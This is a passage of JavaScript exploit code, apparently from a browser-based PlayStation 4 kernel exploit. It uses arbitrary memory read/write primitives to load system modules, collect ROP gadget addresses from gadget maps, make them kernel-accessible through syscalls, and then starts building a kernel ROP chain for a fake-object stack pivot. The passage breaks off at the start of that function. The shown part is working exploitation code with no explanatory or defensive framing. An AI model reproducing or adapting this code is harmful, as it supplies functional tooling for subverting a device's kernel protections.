| 302 | |
| 303 | //Obtain extra gadgets through module loading |
| 304 | function extra_gadgets() { |
| 305 | handle = p.malloc(0x1E8); |
| 306 | var randomized_path_length_ptr = handle.add32(0x4); |
| 307 | var randomized_path_ptr = handle.add32(0x14); |
| 308 | ex_info = randomized_path_ptr.add32(0x40); |
| 309 | |
| 310 | p.write8(randomized_path_length_ptr, 0x2C); |
| 311 | chain.syscall(602, 0, randomized_path_ptr, randomized_path_length_ptr); |
| 312 | random_path = p.readstr(randomized_path_ptr); |
| 313 | |
| 314 | var ipmi_addr = load_prx("libSceIpmi.sprx"); |
| 315 | var hmd_addr = load_prx("libSceHmd.sprx"); |
| 316 | var wk2_addr = load_prx("libSceWebKit2.sprx"); |
| 317 | |
| 318 | for (var gadget in hmd_gadgetmap) { |
| 319 | window.gadgets[gadget] = hmd_addr.add32(hmd_gadgetmap[gadget]); |
| 320 | } |
| 321 | for (var gadget in wk2_gadgetmap) { |
| 322 | window.gadgets[gadget] = wk2_addr.add32(wk2_gadgetmap[gadget]); |
| 323 | } |
| 324 | for (var gadget in ipmi_gadgetmap) { |
| 325 | window.gadgets[gadget] = ipmi_addr.add32(ipmi_gadgetmap[gadget]); |
| 326 | } |
| 327 | |
| 328 | for (var gadget in window.gadgets) { |
| 329 | p.read8(window.gadgets[gadget]); |
| 330 | //Ensure all gadgets are available to kernel. |
| 331 | chain.fcall(window.syscalls[203], window.gadgets[gadget], 0x10); |
| 332 | } |
| 333 | chain.run(); |
| 334 | } |
| 335 | |
| 336 | //Build the kernel rop chain, this is what the kernel will be executing when the fake obj pivots the stack. |
| 337 | function kchain_setup() { |